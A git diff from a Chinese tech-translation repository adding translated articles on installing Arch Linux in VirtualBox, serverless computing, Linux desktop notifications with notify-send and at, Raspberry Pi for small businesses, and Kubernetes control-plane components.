+类似的,根据大小检查你创建的驱动器,然后选择该磁盘继续。在这里,我输入 `1` 作为输入;你的可能会有所不同。 + +![][24] + +**第五步**:接下来,你将被询问以下内容: + + - 选择文件系统类型 + - 加密密码(可选的) + - 主机名 + - 创建 root 密码(可选的) + - 创建超级用户 + - 选择一个预编程的配置文件 + +![][25] + +在我的测试中,我选择了 btrfs 作为文件系统,没有设置任何磁盘加密密码。 + +主机名可随心所欲的设置,但我建议保持简短。 + +你可以选择创建一个 root 密码,即使不这么做也应该没什么问题。不过,你需要创建一个具有 sudo 权限的超级用户。 + +我使用 `admin`/`pass` 作为用户名和密码。不过,如果你不想让其他人访问你计算机上的虚拟机,则不应使用易于猜测的密码。 + +然后,你将看到一个选择配置文件的选项。在这种情况下,我们需要一个成熟的 Arch Linux 桌面。因此,我们通过输入 `0` 来选择 “桌面desktop”。 + +**第六步**:接下来,你将被要求选择桌面环境。我决定使用 KDE。你可以选择任何你喜欢的。 + +![][26] + +**第七步**:最后,你将被要求选择显卡驱动程序。由于我们是在 VirtualBox 上安装的 Arch Linux,你可以选择选项 4:VMware/VirtualBox,如下图所示: + +![][27] + +你可能还会被要求输入“是(`y`)或否(`n`)”选择 pipewire 而不是 PulseAudio 作为音频服务。选任何一个都应该都可以。 + +**第八步**:接下来是重要的一步。在这里,如果你需要内核的 LTS 版本,你可以选择使用 “linux-lts”,或者继续使用默认值。 + +![][28] + +安装程序会提示你输入想安装的软件包。在这里,我们没有任何特殊要求,因此我们将其留空并按回车键跳过。 + +**第九步**:你将被要求选择所需的网络适配器以启用互联网访问。你必须选择以下选项: + +“使用网络管理器来控制和管理你的互联网连接Use network manager to control and manage your internet connection” + +![][29] + +**第十步**:下一步需要定义时区。选择适用于你的时区,或继续使用默认选项。 + +**第十一步**:完成后,它将显示你选择的大部分选项以供确认。按回车键继续。 + +![][30] + +**第十二步**:安装完成需要花费几分钟时间,这取决于你的互联网连接速度。 + +安装完成后,它会要求你 “chroot 进入新创建的安装以进行安装后配置”,但我们不需要。因此输入 `N` 以完成安装。 + +**第十三步**:最后,你应该会再次看到终端窗口。输入: + +``` +shutdown now +``` + +这将安全地退出安装并关闭虚拟机。 + +一切就绪!在启动安装了 Arch 的虚拟机之前,你还需要做一件事 —— **移除选择作为光驱的 ISO 磁盘**。与添加启动 ISO 的方式类似,你可以前往虚拟机设置并将其删除,如下所示: + +![][31] + +到此为止你已在 VirtualBox 上安装了 Arch Linux。 + +你所要做的就是启动虚拟机,在我的例子中它是这样的: + +![virtualbox arch][32] + +尽管浏览这些选项需要一些时间,但 Arch Linux 上新的引导式安装程序可以节省大量时间使必填项配置正确。 + +![][33] + +同样的步骤也适用于在你的计算机上安装 Arch Linux。你需要用 Arch Linux ISO 文件 [使用 Etcher 制作单独的可启动 USB 盘][34]。 + +### 总结 + +[Arch Linux 成为一种流行的选择][1] 有多种原因。但是,如果这是你第一次安装,或者你想对其进行测试,那么虚拟机是在不打乱主机的情况下体验它的最佳方式。 + +我希望这可以帮助你在 VirtualBox 上安装 Arch Linux。在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-arch-linux-virtualbox/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/why-arch-linux/ +[2]: https://itsfoss.com/install-arch-linux/ +[3]: https://itsfoss.com/debian-vs-ubuntu/ +[4]: https://itsfoss.com/install-virtualbox-ubuntu/ +[5]: https://www.virtualbox.org/wiki/Downloads +[6]: https://archlinux.org/download/ +[7]: https://itsfoss.com/best-torrent-ubuntu/ +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archlinux-downloads.png?resize=800%2C419&ssl=1 +[9]: https://itsfoss.com/free-up-space-ubuntu-linux/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-new.png?resize=800%2C562&ssl=1 +[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-expert-mode.png?resize=707%2C438&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-create.png?resize=800%2C536&ssl=1 +[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-disk.png?resize=800%2C528&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/choose-disk-virtualbox-arch.png?resize=800%2C440&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-settings-option.png?resize=800%2C551&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-choose-iso.png?resize=800%2C314&ssl=1 +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-iso-select.png?resize=800%2C348&ssl=1 +[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-set-start.png?resize=800%2C548&ssl=1 +[19]: https://news.itsfoss.com/arch-linux-easy-install/ +[20]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-archlinux-boot.png?resize=800%2C593&ssl=1 +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-guided.png?resize=800%2C400&ssl=1 +[22]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-kb-layout.png?resize=800%2C694&ssl=1 +[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-region.png?resize=800%2C664&ssl=1 +[24]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-selectdisk.png?resize=800%2C199&ssl=1 +[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-desktop-configure.png?resize=800%2C497&ssl=1 +[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-virtualbox-desktop-environment.png?resize=800%2C415&ssl=1 +[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-environment.png?resize=419%2C173&ssl=1 +[28]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-linux-kernel.png?resize=800%2C692&ssl=1 +[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-network-manager.png?resize=800%2C151&ssl=1 +[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-confirmation.png?resize=800%2C697&ssl=1 +[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/iso-remove-archinstall.png?resize=800%2C286&ssl=1 +[32]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch.png?resize=800%2C635&ssl=1 +[33]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/kde-arch-virtualbox.png?resize=800%2C453&ssl=1 +[34]: https://itsfoss.com/install-etcher-linux/ diff --git a/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md b/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md new file mode 100644 index 0000000000..6fa2d4a1e2 --- /dev/null +++ b/published/202207/20211203 Should Businesses Opt for Serverless Computing-.md @@ -0,0 +1,93 @@ +[#]: subject: "Should Businesses Opt for Serverless Computing?" +[#]: via: "https://www.opensourceforu.com/2021/12/should-businesses-opt-for-serverless-computing/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14781-1.html" + +企业应该选择无服务器计算吗? +====== + +> 无服务器计算将服务器从规划中移除,使企业能够专注于应用功能。那么,企业是不是都应该选择无服务器计算呢?让我们来探究一下吧! + +![](https://img.linux.net.cn/data/attachment/album/202207/01/113921u4sjl5cczwj3tjbu.jpg) + +直至不久之前,几乎每个产品经理都会将他/她的工程资源,分成两个独立的团队 —— 开发团队和运维团队。开发团队通常参与编码、测试和构建应用功能,而运维团队负责应用程序的交付、部署和运行维护。 + +当开发团队构建电商应用时,运维团队会搭建好服务器来托管该应用。搭建服务器涉及到许多方面,其中包括: + +* 选择合适的硬件和操作系统 +* 应用所需的补丁集 +* 搭建所需服务器环境,如 JDK、Python、Tomcat、NodeJS 等 +* 部署、配置和提供实际的应用 +* 打开并固定合适的端口 +* 搭建所需的数据库引擎 + +……这个名单还在继续。 + +除此之外,管理人员还对容量规划感到头疼。毕竟,任何重要应用都应始终保持 100% 可用、可靠且可扩展。这需要对硬件进行最佳投资。众所周知,在一些关键时期,硬件短缺会导致业务损失,而硬件冗余又会损害利润。因此,无论应用是针对本地数据中心,还是针对云基础架构,容量规划都是至关重要的。到目前为止,很明显,企业不仅在功能构建上投入了大量的精力,还在功能交付上也花费了大量的时间。 + +无服务器计算Serverless computing旨在提供一种无缝的方式来交付功能,而无需担心服务器的设置和维护。换句话说,无服务器计算平台提供了一个“即用型ready-to-use”环境,企业可以尽快将应用程序构建和部署为一些较小的功能。这就是为什么这种方法被称为“功能即服务Function as a Service”(FaaS)。 + +请记住,无服务器计算中仍然存在服务器,但它由 AWS、微软和谷歌等 FaaS 供应商负责。 + +例如,AWS 以 “Lambda 函数”的形式提供了一个无服务器计算环境。开发人员可以选择将应用程序构建为一组 Lambda 函数,这些函数可以用 NodeJS、Java、Python 和其他一些语言编写。AWS 提供了一个现成的环境来部署这些函数。它还提供了即用​​型数据库服务器、文件服务器、应用程序网关和身份验证服务器等。 + +同样,微软 Azure 也提供了一个环境,它可以用 C# 等语言构建和部署 Azure 函数。 + +### 为什么选择无服务器? + +有两个主要因素推动了无服务器计算的普及。 + +#### 1、即用型环境 + +显然,这是无服务器计算的最大卖点。企业无需提前采购/预订硬件或实例,也无需操心许可证,以及设置和配置服务器。他们不需要为扩大和缩小规模而烦恼。所有这些都由 FaaS 供应商负责。 + +#### 2、最优成本 + +由于 FaaS 供应商总是根据环境的利用率向客户收费(按使用付费模式),因此企业无需担心前期成本和资源浪费。例如,AWS 根据 Lambda 函数接收的请求数量、在数据表上运行的查询数量等指标来向客户端收费。 + +### 无服务器计算的挑战 + +与任何其他方法一样,无服务器计算也不是每个人都可以盲目遵循的完美方法。它本身也有一系列限制。以下是其中的几个。 + +#### 1、供应商锁定 + +当使用无服务器计算时,第一个也是最重要的问题就是,Lambda 或 Azure 等函数将使用供应商提供的 API 来编写。例如,使用 AWS Lambda API 编写的函数无法部署到 Google Cloud 中,反之亦然。因此,无服务器计算迫使企业在许多年内,只能使用同一家供应商。并且,应用的成功或失败不仅取决于它的功能,还取决于供应商在性能等方面的能力。 + +#### 2、编程语言 + +没有哪家无服务器计算平台支持所有的编程语言。此外,对于它支持的编程语言,它也可能不支持其所有版本。这样一来,应用开发团队只能选择供应商提供的语言。就团队的能力而言,这可能是非常关键的。 + +#### 3、最优成本,真的吗? + +其实也不一定,这一切都取决于资源的使用情况。如果你的应用正在承受巨大的负载,例如每秒数百万个请求,那么你所支付的费用可能会过高。在这样的规模下,在本地或云端拥有自己的服务器可能会更便宜。这并不意味着具有 Web 规模的应用不适合用无服务器计算。归根结底,它还是取决于你的平台的构建方式,以及你与供应商签署的协议。 + +#### 4、生态系统 + +没有哪个应用是为了一个孤立的环境而编写的。它总是需要其他组件,如数据存储、数据库、安全引擎、网关、消息服务器、队列、缓存等。每个平台都提供自己的一组此类工具。例如,AWS 提供了 Dynamo DB 作为其 NoSQL 解决方案之一。显然,其他供应商也提供了自己的 NoSQL 解决方案。因此,团队又会被迫地基于所选平台来构建应用程序。尽管大多数商业 FaaS 供应商都为特定需求提供了多个组件,但并非每个组件都可能是同类型中最佳的。 + +### 为什么不考虑容器呢? + +在过去十年中,我们中的许多人都迁移到了容器化部署模型,因为它们为昂贵的物理机或虚拟机提供了一种轻量级的替代方案。有了 Kubernetes 等编排工具后,我们乐于部署容器化应用,同时也满足了 Web 规模的要求。容器提供了与底层环境一定程度的隔离,这使得部署相对容易。但是,我们仍然需要在硬件(本地或云)、许可证、网络、配置等方面进行投资,这需要具有前瞻性的规划、合适的技术能力和仔细的监控。无服务器计算,尽管它也有自己的优点和缺点,但它让我们把这些责任也摆脱了。 + +### 展望未来 + +我们正处于持续开发、持续集成和持续部署的时代。每个企业都面临着竞争。产品上市时间Time to market(TTM)在吸引客户、留住客户这两个方面,发挥着重要作用。在这种背景下,企业喜欢花更多时间来尽可能快地推出功能,而不是在部署和维护的细节上苦苦挣扎。无服务器计算有可能满足这些需求。大玩家们正在投入巨额资金,以使 FaaS 尽可能地无缝且经济。无服务器计算的未来看起来是一片光明。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2021/12/should-businesses-opt-for-serverless-computing/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2021/10/Severless-Cloud-Computing-Featured-image-OSFY-Oct-2021.jpg diff --git a/sources/tech/20220106 Send desktop notifications and reminders from Linux terminal.md b/published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md similarity index 50% rename from sources/tech/20220106 Send desktop notifications and reminders from Linux terminal.md rename to published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md index 73b3b708cc..35ed30f1e0 100644 --- a/sources/tech/20220106 Send desktop notifications and reminders from Linux terminal.md +++ b/published/202207/20220106 Send desktop notifications and reminders from Linux terminal.md @@ -2,136 +2,107 @@ [#]: via: "https://opensource.com/article/22/1/linux-desktop-notifications" [#]: author: "Tomasz Waraksa https://opensource.com/users/tomasz" [#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: translator: "mcfd" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14826-1.html" -Send desktop notifications and reminders from Linux terminal +如何从 Linux 终端发送桌面通知与提醒 ====== -This Linux tutorial demonstrates how to use script commands to send -yourself desktop notifications and reminders. -![Person using a laptop][1] -Sometimes it's useful to get visual feedback from a script. For example, when a script or cron job completes, a long-running build fails, or there is an urgent problem during script execution. Desktop applications can do this with popup notifications, but it can be done from a script too! You can use script commands to send yourself desktop notifications and reminders. +> 这篇教程演示如何使用脚本命令来发送自己的桌面通知与提醒。 + +![](https://img.linux.net.cn/data/attachment/album/202207/14/145103vawkhy6w506thy6h.jpg) + +有时候,来自脚本的视觉回馈是很有用的。例如,当一个脚本或计划任务完成时,一个长期运行的构建任务失败时,或者当脚本执行中出现了紧急问题时。桌面应用程序可以通过弹出通知来做到这一点,但脚本也可以做到这一点!你可以使用脚本命令来给自己发送桌面通知与提醒。 ![Example notification][2] -(Tomasz Waraksa, CC BY-SA 4.0) +下面的代码是在 Linux 上编写和测试的。它也可以在 macOS 上运行,只需花点功夫。请参见最后一节 [提示与技巧][3]。 -The below code has been written and tested on Linux. It can also be done on macOS with a bit of effort. See the last section for some [hints and tips][3]. +### 从 Linux 终端发送通知 -### Sending notifications from the Linux terminal - -To send notifications from the Linux terminal, use the [`notify-send`][4] command. Run `which ``notify-send` to see if it's present on your system. If not, install it with your package manager of choice. - -On Fedora, type: +要从 Linux 终端发送通知,请使用 [notify-send][4] 命令。运行 `which notify-send` 命令来查看它是否在于你的系统中。如果没有,请使用包管理器来安装它。 +在 Fedora 上,输入: ``` -`$ sudo dnf install notify-send` +$ sudo dnf install notify-send ``` -On Debian-based distributions, type: - +在基于 Debian 的发行版上,输入: ``` -`$ sudo apt install notify-send` +$ sudo apt install notify-send ``` -A few examples of simple notifications: - +几个简单的通知示例: ``` - - $ notify-send "Dinner ready!" $ notify-send "Tip of the Day" "How about a nap?" - ``` -You can customize the notification with options such as urgency level, custom icon, etc. Find out more with `man notify-send`. You can use a small set of HTML tags in the notification body to give your messages a nice touch. On top of that, URLs are rendered as clickable. For example: - +你可以用紧急程度、自定义图标等选项来自定义通知。过 `man notify-send` 了解更多。你也可以在通知正文中使用一小组 HTML 标记,以使消息有一个棒的视觉感受。最重要的是,URL 被呈现为可点击的。例如: ``` - - $ notify-send -u critical \ -  "Build failed!" \ -  "There were <b>123</b> errors. Click here to see the results: " - + "Build failed!" \ + "There were 123 errors. Click here to see the results: http://buildserver/latest" ``` ![Build fail notification][5] -(Tomasz Waraksa, CC BY-SA 4.0) +发送的通知会被桌面环境接收,并像其他通知一样显示。它们将具有相同的外观、交互和行为。 -Sent notifications are picked up by the desktop environment and displayed just like any other notification. They will have the same consistent look, feel, and behavior. - -### Combine notify-send with at - -Cron is commonly used to schedule commands at regular intervals. The `at` command schedules the single execution of a command at a specified time. If you run it like this, it starts in interactive mode, where you can enter commands to execute at a given time: +### 将 notify-send 与 at 结合使用 +计划任务通常被用来定期安排命令。`at` 命令安排在一个指定的时间执行一条命令。如果你像这样运行它,它会以交互模式启动,你可以在其中输入要在指定时间执行的命令: ``` -`$ at 12:00` +$ at 12:00 ``` -This isn't useful for scripts. Luckily, `at` accepts parameters from standard input so that we can use it this way: - +这对脚本来说并不有用。幸运的是 `at` 接受来自标准输入的参数,所以我们可以这样使用它: ``` - - $ echo "npm run build" | at now + 1 minute $ echo "backup-db" | at 13:00 - ``` -There are many ways of specifying time. From absolute time, such as `10:00` through relative time, such as `now + 2 hours`, to special times such as `noon` or `midnight`. We can combine it with `notify-send` to show ourselves reminders at some time in the future. For example: - +有许多指定时间的方法。 从绝对时间,如 `10:00`,到相对时间,如 `now + 2 hours` ,再特殊时间,如`noon` 或 `midnight`。我们可以把它和 `notify-send` 结合起来,在未来的某个时间向自己发送提醒。例如: ``` -`$ echo "notify-send 'Stop it and go home now?' 'Enough work for today.' -u critical" | at now` +$ echo "notify-send 'Stop it and go home now?' 'Enough work for today.' -u critical" | at now ``` ![Stop for the day notification][6] -(Tomasz Waraksa, CC BY-SA 4.0) - -### The remind command - -Now, build a custom Bash command for sending yourself reminders. How about something as simple and human-friendly as: +### 提醒的命令 +现在,建立一个自定义的 Bash 命令来给自己发送提醒信息。像这样简单且人性化的命令: ``` - - $ remind "I'm still here" now $ remind "Time to wake up!" in 5 minutes $ remind "Dinner" in 1 hour $ remind "Take a break" at noon $ remind "It's Friday pints time!" at 17:00 - ``` -This is better than Alexa! How to get this goodness? +这比 Alexa 更好!该怎样做? -See the code below. It defines a shell function called **remind**, which supports the above syntax. The actual work is done in the last two lines. The rest is responsible for help, parameter validation, etc., which roughly matches the proportion of useful code vs. necessary white-noise in any large application. - -Save the code somewhere, for example, in the `~/bin/remind` file, and source the function in your `.bashrc` profile so that it's loaded when you log in: +请看下面的代码。它定义了一个名为 `remind` 的函数,它支持上述语法。实际工作是在最后两行完成的。其余的部分负责显示帮助信息、参数校验等,这与任何大型应用程序中有用的代码与必要的白噪声的比例大致相同。 +把代码保存在某个地方,例如,在 `~/bin/remind` 文件中,并在你的 `.bashrc` 配置文件写入该函数,以便在你登录时加载它: ``` -`$ source ~/bin/remind` +$ source ~/bin/remind ``` -Reload the terminal, then type remind to see the syntax. Enjoy! - +重新打开终端,然后输入 `remind` 来查看语法。尽情享受吧! ``` - - #!/usr/bin/env bash function remind () {   local COUNT="$#" @@ -195,13 +166,15 @@ function remind () { ``` -### Easy notifications +### 简单的提醒 -With these few simple open source commands, you can integrate your own scripts, applications, and tasks with your desktop. Try it out! +通过这几个简单的开源命令,你可以将你自己的脚本、应用程序和任务与你的桌面结合起来。试一试吧! * * * -_This article has been adapted with the author's permission from the original article, found [here][7]._ +(文内图片来自 Tomasz Waraksa, CC BY-SA 4.0) + +本文经作者许可改编自 [原文][7]。 -------------------------------------------------------------------------------- @@ -209,8 +182,8 @@ via: https://opensource.com/article/22/1/linux-desktop-notifications 作者:[Tomasz Waraksa][a] 选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) +译者:[mcfd](https://github.com/mcfd) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202207/20220115 Why use a Raspberry Pi to power your business.md b/published/202207/20220115 Why use a Raspberry Pi to power your business.md new file mode 100644 index 0000000000..e14dbdcdfb --- /dev/null +++ b/published/202207/20220115 Why use a Raspberry Pi to power your business.md @@ -0,0 +1,80 @@ +[#]: subject: "Why use a Raspberry Pi to power your business" +[#]: via: "https://opensource.com/article/22/1/raspberry-pi-business" +[#]: author: "Giuseppe Cassibba https://opensource.com/users/peppe8o" +[#]: collector: "lujun9972" +[#]: translator: "void-mori" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14829-1.html" + +为何要使用树莓派为你的业务提供动力 +====== + +> 为何小小的单板机是智能工作以及小型办公室的未来。 + +![](https://img.linux.net.cn/data/attachment/album/202207/15/152016pcjh4heez4q0oof6.jpg) + +随着疫情的大流行,我们的工作方式也正在发生着改变。工作的分散化正在成为所有公司需要面临的一项重要挑战。 + +### 智能办公室 + +即使工厂认为智能办公仅仅是通过虚拟私有网络来对员工的笔记本电脑进行远程控制,再稍微增加一点进化也可以让一些基本的办公服务离人们更近一点,这些都能够极大降低数据中心的负载,并且提高人们的工作体验。这个方案还有一个额外的影响就是从信息和通信技术(ICT)上来说消除了许多单点故障。 + +与其在公司外部有成百上千的工作场地,不如在世界范围内有着成百上千的小型办公室/分支,这就是所谓的“智能办公室”。 + +这种表述可能会让许多 ICT 专家感到恐慌,因为这种文化使得每个办公室都与一台大机器(即服务器)联系在一起,即使分散计算资源的优势非常明显。 + +### 一个不同的角度 + +如果你能用一块 50 美元的小开发板提供一个大服务器的服务会怎么样?如果这个小板子只需要一张 SD 卡和一个普通的 USB 电源支持,那又会怎么样呢?这就是 [树莓派][2] 是最灵活的解决方案的原因所在。 + +树莓派开发板是尺寸非常小的运行 Linux 的计算机。它有一个由树莓派基金会提供和维护的操作系统:树莓派操作系统Raspberry Pi OS。它基于 Debian,并与这个最知名的 Linux 发行版共享许多软件包。此外,许多树莓派的开发板能够完美运行最知名的 Ubuntu 服务器,它涵盖了 ARM 处理器支持,提供了对低功耗处理器的支持。 + +但树莓派开发板对小公司来说也是一个很好的机会,以能够承担得起的代价获得大量的(开源)服务。但这种情况下,你必须考虑数据丢失的风险,因为你把所有的服务运行在一个小的、消费级的硬件上。不过设置正确的备份/恢复程序能够降低这些风险。 + +### 你能从树莓派开发板上提供什么服务? + +大多数服务通常由更昂贵的服务器提供。这里的“大多数”取决于一些限制: + + * **ARM 处理器:** 一些软件包只支持 x86/x64 处理器。这是最难克服的挑战之一。但另一方面,ARM 处理器的市场份额不断增长,使得程序员为他们的软件开发了兼容 ARM 处理器的版本。 + * **内存容量:** 这是一个仅限于在复杂应用以复杂的方式进行复杂的计算的情况下讨论的问题。很多时候,这只不过是关于重新审查代码、拆分步骤,并保持简单高效的问题。此外,如果一个服务虽然只服务少数几个用户,但需要大量的内存/CPU,这大概也意味着此服务没有正常工作。这可能是你消除浪费资源的旧问题的一个机会。最后,最新的树莓派开发板把内存容量升级到了 8GB,这是一个很大的提升。 + * **对服务器没有经验的用户:** 这是另一个问题,你可以在基础镜像所在的树莓派的 micro-SD 卡中存储系统和运行数据。 + +也就是说,你能够用树莓派做很多有趣的事情。在 [我的博客][4] 里,我通过运行各种服务进行了测试 —— 从基本的 LAMP 服务器到复杂的 CRM。从简单到复杂系统,全部都是开源的,例如: + + * 代理服务器(也能够添加广告拦截服务) + * 电子邮件服务器 + * 打印服务器 + * [酒店管理][5] + * 联系关系管理(CRM) + * [私人社交网络][6] + * 私人论坛 + * 私有 Git 门户网站 + * 网络监控服务器 + * [许多其他有用的服务][7] + +对树莓派来说,另一个有趣的用法是在你的远程办公室获得提供高级服务的 Wi-Fi 热点,并且可以从它的以太网端口进行控制。  + +最后,[树莓派也能够运行容器][8],这是一个额外的工具,从这个不可思议的开发板中获得一个可用的服务世界。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/raspberry-pi-business + +作者:[Giuseppe Cassibba][a] +选题:[lujun9972][b] +译者:[void-mori](https://github.com/void-mori) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/peppe8o +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk "A chair in a field." +[2]: https://opensource.com/resources/raspberry-pi +[3]: https://enterprisersproject.com/article/2020/11/raspberry-pi-7-enterprise-it-uses +[4]: https://peppe8o.com +[5]: https://opensource.com/article/20/4/qloapps-raspberry-pi +[6]: https://opensource.com/article/20/3/raspberry-pi-open-source-social +[7]: https://peppe8o.com/category/raspberrypi/ +[8]: https://opensource.com/article/20/8/kubernetes-raspberry-pi diff --git a/published/202207/20220214 A guide to Kubernetes architecture.md b/published/202207/20220214 A guide to Kubernetes architecture.md new file mode 100644 index 0000000000..ca87e0e93c --- /dev/null +++ b/published/202207/20220214 A guide to Kubernetes architecture.md @@ -0,0 +1,165 @@ +[#]: subject: "A guide to Kubernetes architecture" +[#]: via: "https://opensource.com/article/22/2/kubernetes-architecture" +[#]: author: "Nived Velayudhan https://opensource.com/users/nivedv" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14789-1.html" + +Kubernetes 架构指南 +====== + +> 了解 Kubernetes 架构中不同组件是如何组合在一起的,这样你就可以更好地排查问题、维护一个健康的集群,以及优化工作流。 + +![](https://img.linux.net.cn/data/attachment/album/202207/03/105135ey33hhx022m9y9fr.jpg) + +使用 Kubernetes 来编排容器,这种描述说起来简单,但理解它的实际含义以及如何实现它完全是另外一回事。如果你正在运行或管理 Kubernetes 集群,那么你就会知道 Kubernetes 由一台称为 “控制平面control plane” 的机器和许多其他 工作节点worker node 机器组成。每种类型都有一个复杂但稳定的堆栈,这使编排成为可能,熟悉每个组件有助于理解它是如何工作的。 + +![Kubernetes 架构图][2] + +*(Nived Velayudhan, [CC BY-SA 4.0][3])* + +### 控制平面组件 + +Kubernetes 安装在一个称为“控制平面control plane”的机器上,它会运行 Kubernetes 守护进程,并在启动容器和容器组pod时与之通信。下面介绍控制平面的各个组件。 + +#### etcd + +etcd 是一种快速、分布式一致性键值存储器,用作 Kubernetes 对象数据的持久存储,如容器组、副本控制器、密钥和服务。etcd 是 Kubernetes 存储集群状态和元数据的唯一地方。唯一与 etcd 直连的组件是 Kubernetes API 服务器。其他所有组件都通过 API 服务器间接的从 etcd 读写数据。 + +etcd 还实现了一个监控功能,它提供了一个基于事件的接口,用于异步监控键的更改。一旦你更改了一个键,它的监控者就会收到通知。API 服务器组件严重依赖于此来获得通知,并将 etcd 变更至期望状态。 + +_为什么 etcd 实例的数量应该是奇数?_ + +你通常会运行三个、五个或七个 etcd 实例实现高可用(HA)环境,但这是为什么呢?因为 etcd 是分布式数据存储,可以水平扩展它,但你需要确保每个实例中的数据是一致的。因此,需要为系统当前状态达成共识,etcd 为此使用 [RAFT 共识算法][4]。 + +RAFT 算法需要经过选举(或仲裁)集群才能进入下一个状态。如果你只有两个 etcd 实例并且他们其中一个失败的话,那么 etcd 集群无法转换到新的状态,因为不存在过半这个概念。如果你有三个 etcd 实例,一个实例可能会失败,但仍有 2 个实例可用于进行选举。 + +#### API 服务器 + +API 服务器是 Kubernetes 中唯一直接与 etcd 交互的组件。Kubernetes 中的其他所有组件都必须通过 API 服务器来处理集群状态,包括客户端(kubectl)。API 服务器具有以下功能: + + * 提供在 etcd 中存储对象的一致方式。 + * 执行验证对象,防止客户端存储配置不正确的对象(如果它们直接写入 etcd 数据存储,可能会发生这种情况)。 + * 提供 RESTful API 来创建、更新、修改或删除资源。 + * 提供 [乐观并发锁][5],在发生更新时,其他客户端永远不会有机会重写对象。 + * 对客户端发送的请求进行身份验证和授权。它使用插件提取客户端的用户名、ID、所属组,并确定通过身份验证的用户是否可以对请求的资源执行请求的操作。 + * 如果请求试图创建、修改或删除资源,则负责 [权限控制][6]。例如,AlwaysPullImages、DefaultStorageClass 和 ResourceQuota。 + * 实现了一种监控机制(类似于 etcd),用户客户端监控更改。这允许调度器和控制器管理器等组件以松耦合的方式与 API 服务器交互。 + +#### 控制器管理器 + +在 Kubernetes 中,控制器持续监控集群状态,然后根据需要进行或请求更改。每个控制器都尝试将当前集群状态变更至期望状态。控制器至少跟踪一种 Kubernetes 资源类型,这些对象均有一个字段来表示期望的状态。 + +控制器示例: + + * 副本管理器(管理副本控制器ReplicationController资源的控制器) + * 副本集ReplicaSet守护进程集DaemonSet 和任务控制器 + * 部署控制器 + * 有状态负载控制器 + * 节点控制器 + * 服务控制器 + * 接入点控制器 + * 命名空间控制器 + * 持久卷PersistentVolume控制器 + +控制器通过监控机制来获得变更通知。它们监视 API 服务器对资源的变更,对每次更改执行操作,无论是新建对象还是更新或删除现有对象。大多数时候,这些操作包括创建其他资源或更新监控的资源本身。不过,由于使用监控并不能保证控制器不会错过任何事件,它们还会定期执行一系列操作,确保没有错过任何事件。 + 